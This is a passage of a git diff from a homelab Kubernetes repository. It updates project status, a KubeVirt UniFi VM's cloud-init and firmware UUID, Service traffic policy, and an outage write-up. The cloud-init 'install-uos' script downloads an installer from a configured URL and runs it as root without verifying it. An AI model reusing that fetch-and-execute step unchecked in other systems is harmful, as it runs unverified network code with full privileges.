+appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
+on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
+`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
+anything to do with each other. Separate files have nothing to merge, which is the
+entire fix. Note that the damage from getting this wrong lands on *other people's*
+branches, later, which is why it is a gate stage and not a request.
+
+Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
+wording is **stale**, in the same way §1's `git push origin main` wording is stale.

README.md

@@ -38,22 +38,56 @@ ci/             the gate as scripts (lint · schema · Kyverno L0 · L1 render
 
 ## Status
 
-Roadmap phases **0–6 are delivered and deployed** on the dev cluster; **Phase 7 (prod) is not
-open** — `clusters/prod` is a design-only overlay.
+Roadmap phases **0–6 are delivered**, and **Phase 7 (Production Readiness) is OPEN and in
+progress**. `clusters/prod` is no longer a design-only overlay: prod is the live cluster, serving the
+apex `home.keithjackson.dev`. The dev cluster was **decommissioned on 2026-09-12** (full migration:
+dev out, prod onto the apex — see the DECISIONS-LOG), so phases 0–6 are now exercised on prod
+hardware rather than on Proxmox VMs.
+
+**Phase 7 exit criteria** — *prod runs the same config via the prod overlay; DR proven; monitoring +
+alerts live*:
+
+| criterion | state |
+|---|---|
+| prod runs the prod overlay | **met** — 3× mini-PC bare metal, one Flux tree, prod overlay only |
+| monitoring + alerts live | **met 2026-09-13** — see the note below; this was not true before that date |
+| **DR proven** | **R-STATE-03 PROVEN on prod 2026-09-14** — off-cluster restore from Cloudflare R2. `R-STATE-02` (node-loss) is still dev-only |
+
+**DR restore is proven on prod.** `R-STATE-03` reads `proven` in `--status` as of 2026-09-14 —
+the first requirement in this repo to reach that state. Both of its verifiers are recorded:
+`dr-restore` (L3, run `20260914T021505Z-24b8111`, sentinel `DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK`)
+and `placeholder-guard-coupling` (L0). The L3 drill seeds a canary on the replicated `longhorn`
+class, backs the namespace and volume data up off-cluster, **destroys every in-cluster copy**
+(namespace, PVC and PV), restores into a clean namespace, and asserts the restored PVC binds a
+*different* PersistentVolume — so an in-cluster survival cannot pass as a restore.
+
+**What remains for Phase 7:** `R-STATE-02` (`node-loss`) is still proven only on the decommissioned
+dev cluster. That drill takes a real node down on a live cluster, so it is a deliberate, scheduled
+exercise rather than something to run in passing.
+
+Read `--coverage-only` and `--status` as two different questions; the earlier `PROVEN: 0` was not a
+bug but the honest answer, because proofs are claims about a specific tree on a specific cluster.
 
 | Phase | Delivered |
 |---|---|
 | 0 Foundations | ServiceDefinition schema + renderer, Kyverno L0 gate, conformance harness, CI |
-| 1 Cluster bring-up | 3-node k3s HA on **Proxmox VE** (`192.168.1.50/.51/.52`), Cilium, Flux, SOPS |
-| 2 Platform core | Cilium · Longhorn · cert-manager (LE-prod wildcard) · ExternalDNS · Gateway API · split-horizon CoreDNS |
+| 1 Cluster bring-up | 3-node k3s HA, embedded etcd, kube-vip VIP, Cilium, Flux, SOPS. Originally Proxmox VMs; **now 3× mini-PC bare metal** (`k3s-prod-1/2/3`, `192.168.2.10/.11/.12`, k3s v1.36.4+k3s1, Debian 13) |
+| 2 Platform core | Cilium · Longhorn · cert-manager (LE-prod wildcard) · ExternalDNS · Gateway API · split-horizon DNS, **both halves**: CoreDNS for pods, and **PiHole as the authoritative LAN resolver** for `${BASE_DOMAIN}` on udp/53 + tcp/53 at a pinned VIP (`192.168.2.23` on prod). The LAN half was claimed from the start but did not exist until 2026-09-14 — PiHole's Service was ClusterIP :80/:4180, so LAN clients ran on hand-maintained per-client `dnsmasq` files |
 | 3 Egress / VPN | ADR-0015 node-level OpenVPN split-tunnel + Cilium egress-gateway steering + host kill-switch |
-| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. **Velero still blocked on OQ-BKP**; image-automation authored but disabled |
+| 4 Observability | kube-prometheus-stack · Loki · Alloy · Alertmanager. **Velero unblocked 2026-09-13** — backs up to Cloudflare R2 (OQ-BKP closed; the `velero-plugin-for-aws` tagging incompatibility needed a pinned plugin). Longhorn has **no** backup target by decision: volume data is protected by Velero + kopia to R2. image-automation authored but disabled |
 | 5 IaaS | KubeVirt + CDI on real nested KVM; live-migratable RWX VM storage. The UniFi VM runs, but **UniFi OS Server is not yet installed in the guest** |
 | 6 Identity + CI | Keycloak (Operator + CNPG) · oauth2-proxy forward-auth · Grafana OIDC · **kubectl OIDC SSO with group→RBAC** · in-cluster Gitea Actions merge gate |
+| **7 Production readiness** | **IN PROGRESS** (DR restore proven 2026-09-14; node-loss outstanding). Prod live on bare metal serving the apex; dev decommissioned; CNPG HA 3 instances with primaries spread one per node; NFS bulk media + legacy Nextcloud mounted; VPN egress on prod. Alerting made real 2026-09-13 (Longhorn, cert-manager, Flux and twelve app SLIs had all been unable to fire). **Open: `node-loss` (R-STATE-02) re-proven on prod.** |
 
-**Conformance: 36 / 51 requirements covered (70.6%)**, 15 gaps, 1 safety-critical gap
-(`R-STATE-02`, Longhorn node-loss). Regenerate with `./conformance/run.sh --coverage-only`;
-the full report is `conformance/_artifacts/coverage/coverage.md`.
+**Conformance: 51 / 51 requirements covered (100%)**, 0 gaps, 0 safety-critical gaps (closed
+2026-09-13; `R-C2-01`/`R-C2-02` were the last two). Regenerate with
+`./conformance/run.sh --coverage-only`; the full report is
+`conformance/_artifacts/coverage/coverage.md`.
+
+Coverage is **not** proof. A requirement is *covered* when an executable test exists for it, and
+*PROVEN* only when a recorded run of that test is in `conformance/runs/ledger.jsonl` at the current
+SHA on the cluster it claims. Read both numbers: `--coverage-only` for the first, `--status` for the
+second.
 
 The running narrative — decisions, root causes, incidents, follow-ups — is
 [`DECISIONS-LOG.md`](DECISIONS-LOG.md). It, not this table, is the authoritative record.

apps/vms/unifi/30-virtualmachine.yaml

@@ -41,10 +41,41 @@ spec:
       # disk KubeVirt cannot migrate and eviction would hard-stop the guest.
       evictionStrategy: LiveMigrate
       domain:
+        # =====================================================================================
+        # FIRMWARE UUID == THE CLOUD-INIT INSTANCE-ID. THIS IS THE RE-RUN LEVER. READ BEFORE EDIT.
+        # =====================================================================================
+        # MEASURED on prod 2026-09-14, not assumed:
+        #   * the NoCloud seed KubeVirt builds for this VM carries
+        #       {"instance-id":"de5c3338-6d32-4956-89d1-12c8272b2c07","local-hostname":"unifi"}
+        #     (read out of noCloud.iso inside virt-launcher-unifi-gp594), and that value was
+        #     EXACTLY `spec.template.spec.domain.firmware.uuid`, which KubeVirt's mutating webhook
+        #     had stamped onto the VM OBJECT — so it is PERSISTENT, not per-VMI (the VMI's own uid
+        #     was b532fd7c-…, a different value). It is not a hash of the VM name either: the four
+        #     standard uuid5 namespaces over "unifi" / "unifi.unifi" all produce something else.
+        #   * cloud-init's NoCloud datasource decides "is this the same instance?" by comparing the
+        #     cached instance-id against the guest's DMI product_uuid — which IS this firmware UUID.
+        #
+        # CONSEQUENCE, and it is the whole reason the previous unattended attempt could never have
+        # worked: EDITING `userData` BELOW AND RESTARTING THE VM CHANGES NOTHING. cloud-init sees an
+        # unchanged instance-id, restores its CACHED datasource, never re-reads the seed, and skips
+        # every per-instance module (write_files, runcmd). The new payload is silently ignored.
+        #
+        # So the UUID is pinned HERE, in git, and BUMPING IT IS THE SUPPORTED WAY to make the guest
+        # process a new cloud-init payload: change the trailing hex, commit, restart the VM. Pinning
+        # it also makes a rebuild reproducible — a fresh apply would otherwise take a random
+        # webhook-generated UUID and give the guest a different identity every time.
+        #
+        # The value below is DELIBERATELY NOT the de5c3338-…c07 the live guest booted with: that
+        # difference is what makes the next boot a NEW cloud-init instance and installs the
+        # `install-uos` helper + its systemd unit. `serial` is pinned to the value the webhook
+        # already stamped, so this change does not also churn the guest's DMI serial.
+        firmware:
+          uuid: "de5c3338-6d32-4956-89d1-12c8272b2c11"
+          serial: "24bb12ac-d311-45f6-a75b-90a9e1b63e18"
         # FLAG (verify-at-bringup): Ubuntu 24.04 amd64 cloud images are hybrid BIOS+UEFI bootable,
         # so KubeVirt's default SeaBIOS SHOULD boot cleanly (unlike the Fedora containerdisk, which
-        # is UEFI-only and needed an explicit efi block). If the guest drops to emergency/no-boot,
-        # add:  firmware: { bootloader: { efi: { secureBoot: false } } }
+        # is UEFI-only and needed an explicit efi block). RESOLVED at bring-up: boots as shipped;
+        # the guest reports Ubuntu 24.04.4 LTS.
         cpu:
           cores: 2
         memory:
@@ -58,9 +89,28 @@ spec:
             - name: cloudinit
               disk:
                 bus: virtio
+            # The operator's installer URL (+ optional SSH key), delivered as a tiny read-only
+            # iso9660 disk — see the `uosdata` volume near the bottom of this file.
+            - name: uosdata
+              disk:
+                bus: virtio
           interfaces:
+            # MAC PINNED 2026-09-18, and this is a root-cause fix, not cosmetics.
+            # KubeVirt generates a fresh MAC for every VMI when none is pinned. cloud-init writes
+            # /etc/netplan/50-cloud-init.yaml with a `match` on the MAC it saw, and it will NOT rewrite
+            # that file while the NoCloud instance-id is unchanged — and the instance-id here is
+            # domain.firmware.uuid, which is stable across restarts by design. So each VMI recreation
+            # handed the guest a NEW MAC that the retained netplan did not match, leaving enp1s0
+            # administratively DOWN with no address and no DHCP attempt.
+            # That is exactly what the evidence shows for the boot of 2026-09-12: cloud-init's own
+            # device table reports `enp1s0 | Up: False | Address: .`, no apt failures are logged
+            # (because the per-instance modules were skipped), yet UOS is installed and
+            # qemu-guest-agent runs — both of which required a working network on an EARLIER VMI.
+            # Pinning the MAC to the value the current VMI already holds makes the guest's netplan
+            # match permanently, so this cannot recur on the next recreation.
             - name: default
               masquerade: {}
+              macAddress: a6:d7:c0:b3:72:fa
               # Declaring ports on a masquerade iface (a) restricts pod->VM forwarding to exactly
               # these and (b) surfaces them as containerPorts on the virt-launcher pod so the
               # LoadBalancer Services + CiliumNetworkPolicy ingress can target/match them.
@@ -83,41 +133,112 @@ spec:
         - name: rootdisk
           dataVolume:
             name: unifi-rootdisk
+        # =====================================================================================
+        # THE OPERATOR'S ONE FIELD — SOPS Secret `unifi-uos-installer`, delivered as a DISK.
+        # =====================================================================================
+        # KubeVirt exposes a Secret as a small read-only iso9660 disk whose volume label we choose;
+        # each Secret key becomes a file on it. The guest mounts it by label (LABEL=UOSDATA) and
+        # reads `installer-url` plus an optional `console-password`. The Secret ships ENCRYPTED with
+        # REPLACE-ME placeholders, and the guest-side script treats anything that is not an https
+        # URL as "not provided yet" and exits 0 — so the VM boots and stays healthy until the
+        # operator fills it in. See unifi-uos-installer.sops.yaml.example next to this file.
+        #
+        # `console-password` exists because THERE IS CURRENTLY NO WAY INTO THIS GUEST. The stock
+        # Ubuntu cloud image ships a locked `ubuntu` account, this cloud-init never installed a key,
+        # and SSH could not help anyway: the masquerade interface above forwards ONLY the declared
+        # ports, and 22 is not one of them — probed from inside virt-launcher on 2026-09-14, the
+        # guest answers RST on 22 exactly as it does on the UniFi ports. The serial console is the
+        # only door, and a console needs a password. Set it and `virtctl -n unifi console unifi`
+        # works; `kubectl -n unifi logs virt-launcher-unifi-… -c guest-console-log` already gives
+        # read-only console output with no virtctl at all.
+        #
+        # WHY A SEPARATE DISK AND NOT `cloudInitNoCloud.secretRef` (which would also lift the
+        # 2048-byte inline cap): secretRef moves the ENTIRE cloud-config into ciphertext. Two
+        # concrete costs. (a) The shell below stops being reviewable in a diff and falls outside the
+        # L0 dollar-collapse guard, which can only read plaintext. (b) Flux runs its postBuild
+        # envsubst over the DECRYPTED resources, so the escape contract in
+        # clusters/base/apps-vms.yaml would still govern text nobody can see in git — the exact
+        # shape of the 2026-09-13 nextcloud-db incident. Keeping the script in plaintext and putting
+        # ONLY the operator's two values behind SOPS keeps both properties.
+        #
+        # A CHANGED SECRET REACHES THE GUEST ON THE NEXT VMI START with NO firmware-UUID bump: the
+        # disk is rebuilt from the Secret every time the VMI starts, and the systemd unit below
+        # re-reads it on EVERY boot instead of relying on cloud-init (which will not re-run — see
+        # the firmware block above). The UUID bump is a ONE-TIME step, to get that unit installed.
+        - name: uosdata
+          secret:
+            secretName: unifi-uos-installer
+            volumeLabel: UOSDATA
         - name: cloudinit
           cloudInitNoCloud:
-            # INLINE (kept < KubeVirt's 2048-byte userData limit — so NO SSH key here; add one back via
-            # userDataSecretRef only if needed). qemu-guest-agent gives the KubeVirt AgentConnected
-            # signal (proves cloud-init ran); install-uos resolves the latest UOS linux-x64 build from
-            # Ubiquiti's PUBLIC firmware API (no auth) and installs it non-interactively (UI on :11443).
-            # NOTE: apps-vms NOW carries postBuild.substituteFrom cluster-vars (needed for
-            # ${UNIFI_L4_VIP} in 50-service-l4.yaml), so Flux envsubst DOES run over this userData.
-            # Every shell brace-expansion below is therefore escaped as $${...}, which envsubst emits
-            # as a literal $${...} — verified with `flux envsubst`. Bare $VAR and $(...) are left alone
-            # by envsubst and need no escaping. NEVER write an unescaped $${...} here, and never write
-            # an INDEXED expansion unescaped: envsubst hard-fails on `[` ("missing closing brace")
-            # and would break the whole apps-vms apply. CORRECTION (2026-09-01, measured against
-            # flux 2.4.0 `envsubst --strict`): escaping IS total — $${ARR[0]} emits the literal
-            # text safely. Only the UNESCAPED indexed form is fatal. The earlier "escaped or not"
-            # wording in clusters/base/apps-vms.yaml overstated it.
+            # INLINE, and it MUST stay <= 2048 bytes. That ceiling was MEASURED against the
+            # DEPLOYED KubeVirt v1.9.0 rather than quoted: a server-side dry-run apply of an
+            # otherwise-identical VM accepted 2048 bytes of userData and rejected 2049 with
+            # "cloudInitNoCloud userdata exceeds 2048 byte limit. Should use UserDataSecretRef for
+            # larger data." The payload below is ~1.5 KB; keep additions small.
+            #
+            # WHAT IT DOES: installs qemu-guest-agent (the KubeVirt AgentConnected signal, which is
+            # also the proof cloud-init ran) and preps Podman for UOS, then writes `install-uos`
+            # plus a systemd unit that runs it on EVERY boot. The unit — not cloud-init — is what
+            # makes a later URL change take effect, because cloud-init will not re-run per-instance
+            # modules while the instance-id is unchanged.
+            #
+            # `install-uos` IS IDEMPOTENT AND WILL NOT REINSTALL OVER A WORKING CONTROLLER. It bails
+            # out the moment systemd knows a `uosserver.service` — which the live guest ALREADY has:
+            # the serial console log for the current boot shows both `uosserver.service` and
+            # `uosserver-updater.service` starting, and the root filesystem is 6.3 GB of 40 GB used.
+            # UOS is installed here; see the README for what is actually wrong (the guest lost its
+            # IP). A stamp file at /var/lib/uos-installed is the second, weaker guard for the case
+            # where the unit name changes in some future UOS release.
+            #
+            # ENVSUBST: apps-vms declares postBuild.substituteFrom (for ${UNIFI_L4_VIP} in
+            # 50-service-l4.yaml), so Flux's envsubst DOES run over this text. ${BASE_DOMAIN} below
+            # is a deliberate substitution. Everything else is bare `$name` or `$(cmd)`, both of
+            # which envsubst leaves untouched — verified against the live VMI, whose rendered
+            # userData still carries its shell variables verbatim. There is deliberately NO
+            # brace-form shell expansion left in this payload, so nothing here needs escaping; if
+            # you add one, escape it per the contract in clusters/base/apps-vms.yaml, and NEVER
+            # write an indexed expansion.
             userData: |-
               #cloud-config
               hostname: unifi
               fqdn: unifi.${BASE_DOMAIN}
               package_update: true
               package_upgrade: false
-              packages: [qemu-guest-agent, podman, uidmap, slirp4netns, ca-certificates, curl, jq, cloud-guest-utils]
+              packages: [qemu-guest-agent, podman, uidmap, slirp4netns, ca-certificates, curl]
               write_files:
                 - path: /usr/local/sbin/install-uos
                   permissions: '0755'
                   content: |
-                    #!/usr/bin/env bash
+                    #!/bin/bash
                     set -euo pipefail
-                    if [ -z "$${UOS_URL:-}" ]; then
-                      UOS_URL="$(curl -fsSL https://fw-update.ui.com/api/firmware-latest | jq -r '._embedded.firmware|map(select(.product=="unifi-os-server" and .platform=="linux-x64"))|sort_by(.version_major,.version_minor,.version_patch)|last._links.data.href')"
-                    fi
-                    [ -n "$${UOS_URL}" ] && [ "$${UOS_URL}" != "null" ] || { echo "no UOS URL"; exit 1; }
-                    t="$(mktemp)"; echo "downloading $${UOS_URL}"; curl -fL --retry 5 --retry-delay 10 -o "$t" "$UOS_URL"; chmod +x "$t"; echo "installing"; yes | "$t"; echo "done"
+                    d=/run/uos; mkdir -p $d
+                    mountpoint -q $d || mount -o ro LABEL=UOSDATA $d
+                    p=$(tr -d '\r\n' < $d/console-password || true)
+                    case "$p" in ""|REPLACE-ME) ;; *) echo "ubuntu:$p" | chpasswd ;; esac
+                    systemctl cat uosserver.service >/dev/null 2>&1 && exit 0
+                    s=/var/lib/uos-installed
+                    [ -e $s ] && exit 0
+                    u=$(tr -d '\r\n' < $d/installer-url || true)
+                    case "$u" in https://*) ;; *) echo "UOS installer-url not set yet"; exit 0;; esac
+                    t=$(mktemp)
+                    curl -fL --retry 5 --retry-delay 10 -o $t "$u"
+                    chmod +x $t
+                    yes y | $t install || yes y | $t
+                    rm -f $t; date -Is > $s
+                - path: /etc/systemd/system/uos-install.service
+                  content: |
+                    [Unit]
+                    Description=Install UniFi OS Server
+                    Wants=network-online.target
+                    After=network-online.target
+                    [Service]
+                    Type=oneshot
+                    ExecStart=/usr/local/sbin/install-uos
+                    StandardOutput=journal+console
+                    [Install]
+                    WantedBy=multi-user.target
               runcmd:
-                - [ systemctl, enable, --now, qemu-guest-agent ]
-                - [ systemctl, enable, --now, podman.socket ]
-                - [ bash, -lc, "/usr/local/sbin/install-uos 2>&1 | tee /var/log/uos-install.log > /dev/console" ]
+                - [systemctl, enable, --now, qemu-guest-agent]
+                - [systemctl, enable, --now, podman.socket]
+                - [systemctl, enable, --now, uos-install.service]

apps/vms/unifi/50-service-l4.yaml

@@ -21,8 +21,61 @@
 # k3s v1.31 — but the shared-key split is the lower-risk, Cilium-native pattern.)
 #
 # selector kubevirt.io/vm=unifi -> the virt-launcher pod; masquerade forwards the declared ports
-# into the guest. externalTrafficPolicy: Local preserves the LAN client source IP and keeps the
-# VIP pinned to the node running the VM (also what L2 announcement does).
+# into the guest.
+#
+# -------------------------------------------------------------------------------------------
+# externalTrafficPolicy: Cluster — CORRECTED 2026-09-14 after an 8-DAY LAN OUTAGE.
+# -------------------------------------------------------------------------------------------
+# This file used to say `Local`, justified as "preserves the LAN client source IP and keeps the
+# VIP pinned to the node running the VM (also what L2 announcement does)". BOTH HALVES OF THAT
+# WERE FALSE ON THIS CLUSTER, and the second one took the UniFi controller off the LAN entirely.
+#
+# 1) L2 ANNOUNCEMENT DOES NOT FOLLOW THE BACKEND. Cilium's L2 announcer elects one lease holder
+#    per Service among the nodes matching the CiliumL2AnnouncementPolicy `default-l2` — which
+#    matches ALL linux nodes — and it does NOT filter that set by which nodes hold a backend.
+#    MEASURED on prod 2026-09-14: the unifi VM ran on k3s-prod-1 while BOTH
+#    `cilium-l2announce-unifi-unifi-l4-tcp` and `-udp` were held by k3s-prod-2. With `Local`, an
+#    announcing node that holds no backend has nowhere to send the packet and answers ICMP port
+#    unreachable. 192.168.2.21:8443, :8080 and :11443 were dead from the LAN for up to 8 days
+#    (the leases were 8 days old); the operator's controller UI and device inform path were down.
+#    It does NOT self-heal: the lease holder keeps RENEWING after the backend moves, so only
+#    deleting the Lease forces a re-election — and that re-election is random, so it can pick a
+#    backend-less node again. See apps/wave-0/pihole-dns.yaml, which hit this first and is the
+#    reference implementation this file now follows.
+#
+# 2) `Local` WAS NEVER PRESERVING THE CLIENT IP HERE ANYWAY — this is a KubeVirt VM. The
+#    interface in 30-virtualmachine.yaml is `masquerade: {}`, which is KubeVirt's NAT binding: it
+#    SNATs everything from the virt-launcher pod into the guest over a private link, so the UniFi
+#    controller has always seen the pod-side masquerade gateway as the source, never the LAN
+#    client. There is a SECOND translation below the Service, and it already destroyed the very
+#    thing `Local` was being kept for. So the client-IP cost of this change is ZERO for UniFi:
+#    it is giving up an address the guest could not see in the first place.
+#
+#    Nothing UniFi depends on breaks: device identity in the adoption/inform flow is the device
+#    MAC (and the device reports its own IP inside the inform payload), not the packet source,
+#    and guest-portal authorization runs on the gateway appliance, not on this controller.
+#
+# `Cluster` makes EVERY node able to serve the VIP by forwarding to wherever the VM runs, which
+# is what makes this survive a reschedule and a rebuild.
+#
+# NO CHANGE IS NEEDED IN 40-networkpolicy.yaml, AND THAT WAS VERIFIED RATHER THAN ASSUMED.
+# Under `Cluster` the forwarded second hop is sourced from the ingress node and carries Cilium's
+# reserved `remote-node` identity. pihole-dns.yaml has to name `remote-node` explicitly in its
+# CiliumNetworkPolicy — but that is because its policy deliberately omits `cluster`.
+# unifi-allow-l4-ingress admits `cluster`, and Cilium's `cluster` entity SUBSUMES `remote-node`
+# (along with host/init/unmanaged). Confirmed on prod 2026-09-14 by dumping the endpoint's
+# datapath policy map (`cilium-dbg bpf policy get`) while the CNP was in its unmodified state:
+# `reserved:remote-node` was already an Allow on the L4 ports. Adding `remote-node` to that rule
+# would be a no-op, so it is deliberately NOT added here — do not "fix" it.
+#
+# NO loadBalancerSourceRanges HERE, DELIBERATELY — and this is where this file departs from
+# pihole-dns.yaml. PiHole added `loadBalancerSourceRanges: [${LAN_CIDR}]` because it was giving
+# up a restriction it actually had and genuinely needed to be LAN-only. These Services never had
+# a source restriction at all (unifi-allow-l4-ingress admits `world`), so `Cluster` removes no
+# protection and there is nothing to compensate for. Adding a LAN-only filter during an outage
+# fix would be a NEW restriction that could silently break a remote site's device informing over
+# WAN — trading this outage for a subtler one. If UniFi should be LAN-only, that is its own
+# change, made deliberately and tested against the device fleet.
 #
 # VIP: ${UNIFI_L4_VIP} (cluster-vars, R-ENV-02; dev 192.168.1.54, confirmed free, inside
 # default-pool and reserved in tofu — the Gateway already holds the pool's first IP, dev .53).
@@ -49,7 +102,7 @@ metadata:
     external-dns.alpha.kubernetes.io/hostname: "unifi.${BASE_DOMAIN}"
 spec:
   type: LoadBalancer
-  externalTrafficPolicy: Local
+  externalTrafficPolicy: Cluster
   selector:
     kubevirt.io/vm: unifi
   ports:
@@ -72,7 +125,7 @@ metadata:
     lbipam.cilium.io/ips: "${UNIFI_L4_VIP}"
 spec:
   type: LoadBalancer
-  externalTrafficPolicy: Local
+  externalTrafficPolicy: Cluster
   selector:
     kubevirt.io/vm: unifi
   ports:

apps/vms/unifi/README.md

@@ -1,18 +1,48 @@
 # UniFi Network controller (UniFi OS Server) — VM onboarding
 
-> **LIVE — partially.** Reconciled by the **non-gating `apps-vms`** Flux Kustomization
-> (`clusters/base/apps-vms.yaml`, `dependsOn: platform-config`, `wait: false`). VMs are a separate
-> lifecycle from the rendered app waves, and UniFi has no in-cluster dependents, so a slow import
-> or install cannot stall the app tier.
+> **LIVE — but the controller is unreachable, and NOT for the reason this file used to claim.**
+> Reconciled by the **non-gating `apps-vms`** Flux Kustomization (`clusters/base/apps-vms.yaml`,
+> `dependsOn: platform-config` + `platform-config-cdi`, `wait: false`). VMs are a separate lifecycle
+> from the rendered app waves, and UniFi has no in-cluster dependents, so a slow import or install
+> cannot stall the app tier.
 >
-> **Status (verified 2026-08-26):**
-> - `longhorn-vm` StorageClass — **live** (RWX / Block / migratable).
-> - CDI import — **Succeeded** (100%); `unifi-rootdisk` PVC Bound, 40Gi, RWX, `longhorn-vm`.
-> - VM — **Running**, guest agent connected, Ubuntu 24.04.4 LTS, live-migratable, on `k3s-dev-1`.
-> - L4 LoadBalancer VIP `192.168.1.54` — **allocated** on both Services.
-> - **UniFi OS Server itself is NOT installed.** Port `11443` does not answer from in-cluster
->   (the CNP explicitly permits `cluster` → `:11443`, so this is "nothing listening", not policy).
->   The guest is a bare, prepped Ubuntu. **This is the one remaining step** — see Open question 1.
+> **Status (re-verified against live prod 2026-09-14):**
+> - `longhorn-vm` StorageClass — **live**; `unifi-rootdisk` PVC Bound, **40Gi, RWX, Block**.
+> - CDI import — **Succeeded** (100%).
+> - VM — **Running** on **`k3s-prod-1`**, guest agent connected, Ubuntu 24.04.4 LTS,
+>   `LiveMigratable=True` / `StorageLiveMigratable=True`. VMI age 34h, VM 8d.
+> - L4 LoadBalancer VIP **`192.168.2.21`** — allocated and held on both Services.
+> - **UniFi OS Server IS INSTALLED.** This reverses the previous entry here. See below.
+> - **The guest has no IP address.** That — not a missing install — is why `:11443`, `:8443` and
+>   `:8080` refuse connections.
+
+## What is actually wrong (2026-09-14)
+
+The earlier note in this file said "UOS is NOT installed; the guest is a bare, prepped Ubuntu".
+That was wrong, and acting on it would have meant reinstalling over a working controller.
+
+Evidence, all read-only, from the live cluster:
+
+| Claim | How it was checked | Result |
+|---|---|---|
+| UOS is installed | `kubectl -n unifi logs virt-launcher-unifi-… -c guest-console-log` | the current boot starts **`uosserver.service` — UniFi OS Server Service** and **`uosserver-updater.service`** |
+| …and it is a real install, not a stub | KubeVirt guest-agent `filesystemlist` subresource | `/` is **6.3 GB used of 40 GB** — a bare Ubuntu cloud image with our packages is ~2 GB |
+| the guest has no IP | `kubectl -n unifi get vmi unifi -o json` → `.status.interfaces` | `enp1s0`, `linkState: up`, **no `ipAddress` field at all**; the `kubectl get vmi` IP column is empty |
+| …confirmed at the link layer | `kubectl -n unifi exec virt-launcher-… -c compute -- ip neigh` | **`10.0.2.2 dev k6t-eth0 FAILED`** — the guest does not answer ARP for its masquerade address |
+| the ports are dead end-to-end | `/dev/tcp` probes from inside virt-launcher, to the pod IP **and** to `10.0.2.2` directly | 11443 / 8443 / 8080 / **22** all refused — i.e. the VIP and the CNP are exonerated |
+
+So the controller is installed and its units start; nothing downstream of the guest's own network
+stack can work. The interface was fine at boot (the console log reaches `network-online.target` at
+~10s and cloud-init completes at 18.5s), so the address was lost afterwards — the obvious suspect is
+UOS taking over host networking, but **that has not been proven and cannot be, from outside the
+guest.** Diagnosing it needs a shell, which is the second problem below.
+
+**There is currently no way into this guest.** The shipped cloud-init installs no SSH key and sets
+no password, so the stock `ubuntu` account is locked and a serial console reaches a login prompt
+nobody can answer. SSH would not rescue it either: the masquerade interface forwards **only** the
+ports declared in `30-virtualmachine.yaml`, and 22 is not one of them — the probe above shows the
+guest RSTs on 22 exactly as it does on 11443. Closing that hole is what `console-password` in the
+new Secret is for.
 
 ## What this is
 
@@ -29,24 +59,39 @@ datastore** inside a Podman container stack — so **no separate MongoDB compani
 | `namespace.yaml` | `unifi` namespace: app-namespace label (Kyverno + default-deny apply), `gateway-access=shared`, backup annotation |
 | `10-default-deny.yaml` | R-NET-01 baseline: deny all, allow only DNS |
 | `20-datavolume.yaml` | CDI **http** import of the Ubuntu 24.04 cloud image onto a `longhorn-vm` **RWX/Block** disk (**40Gi**). First real CDI http import on the cluster |
-| `30-virtualmachine.yaml` | The VM: 2 vCPU / 4Gi, `running: true`, `evictionStrategy: LiveMigrate`, minimal **inline** cloud-init (SSH key, qemu-guest-agent, Podman prep) |
+| `30-virtualmachine.yaml` | The VM: 2 vCPU / 4Gi, `running: true`, `evictionStrategy: LiveMigrate`, a **pinned firmware UUID** (= the cloud-init instance-id), the **UOSDATA secret disk**, and a minimal **inline** cloud-init that installs `install-uos` + a per-boot systemd unit |
 | `40-networkpolicy.yaml` | Additive CNP allows: L4 ingress ports, controller world+DNS egress, and CDI-importer egress |
-| `50-service-l4.yaml` | Two `type=LoadBalancer` Services (TCP+UDP) sharing **one pinned Cilium VIP** `192.168.1.54`; external-dns A record |
+| `50-service-l4.yaml` | Two `type=LoadBalancer` Services (TCP+UDP) sharing **one pinned Cilium VIP** `${UNIFI_L4_VIP}` (prod **192.168.2.21**); external-dns A record |
+| `unifi-uos-installer.sops.yaml` | **SOPS-encrypted.** The operator's UOS installer URL + guest console password, mounted into the guest as a disk |
+| `unifi-uos-installer.sops.yaml.example` | Plaintext template + the operator hand-off steps (never applied, never encrypted) |
 | `kustomization.yaml` | The reconciled resource list (referenced by `apps/vms/kustomization.yaml`) |
 
-The optional L7 HTTPRoute (`90-httproute-optional.yaml`) was **dropped**, not merely disabled: UOS
-serves HTTPS on `:11443`, so a Gateway route needs a `BackendTLSPolicy` that is not confirmed on
-this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that lands.
+The optional L7 HTTPRoute was **dropped, and the file does not exist**: UOS serves HTTPS on
+`:11443`, so a Gateway route needs a `BackendTLSPolicy` that is not confirmed on this Cilium
+version. Browser access is via the L4 VIP. Re-add it if/when that lands.
 
-### Cloud-init delivery — two constraints learned the hard way
+### Cloud-init delivery — three constraints, all measured on the deployed KubeVirt (v1.9.0)
 
-1. **KubeVirt caps inline `userData` at 2048 bytes.** The original rich cloud-init (full Podman
-   prep + `install-uos` helper) blew past it. A `userDataSecretRef` was tried, then reverted; the
-   shipped config is a **minimal ~1.1 KB inline `userData`**. Keep additions small or move to a
-   Secret deliberately.
-2. **`apps-vms` must NOT use `postBuild.substituteFrom`.** Flux variable substitution rewrote
-   `$`-bearing text inside the cloud-init payload and **corrupted it**. `clusters/base/apps-vms.yaml`
-   therefore carries no `substituteFrom` — unlike every app wave. Do not "restore" it for consistency.
+1. **Inline `userData` is capped at 2048 bytes.** MEASURED, not quoted: a server-side dry-run apply
+   of an otherwise-identical VM accepted 2048 bytes and rejected 2049 with *"cloudInitNoCloud
+   userdata exceeds 2048 byte limit. Should use UserDataSecretRef for larger data."* The shipped
+   payload is ~1.45 KB. The API field for the escape hatch is spelled **`secretRef`** (the Go name
+   is `UserDataSecretRef`); `userDataSecretRef` is not a YAML key and trying it will silently
+   validate as an unknown field.
+2. **The firmware UUID is the cloud-init instance-id, and editing `userData` alone changes
+   nothing.** The NoCloud seed's `instance-id` is exactly
+   `spec.template.spec.domain.firmware.uuid`, which KubeVirt's webhook stamps onto the **VM object**
+   (so it survives restarts), and cloud-init's NoCloud datasource compares it to the guest's DMI
+   product UUID. Same id → cached datasource restored, new payload never read, `write_files` and
+   `runcmd` skipped. This is why the previously shipped "unattended install" could never have taken
+   effect on a second boot. The UUID is now **pinned in git**, with bumping it as the documented way
+   to force a re-run. See the long comment in `30-virtualmachine.yaml`.
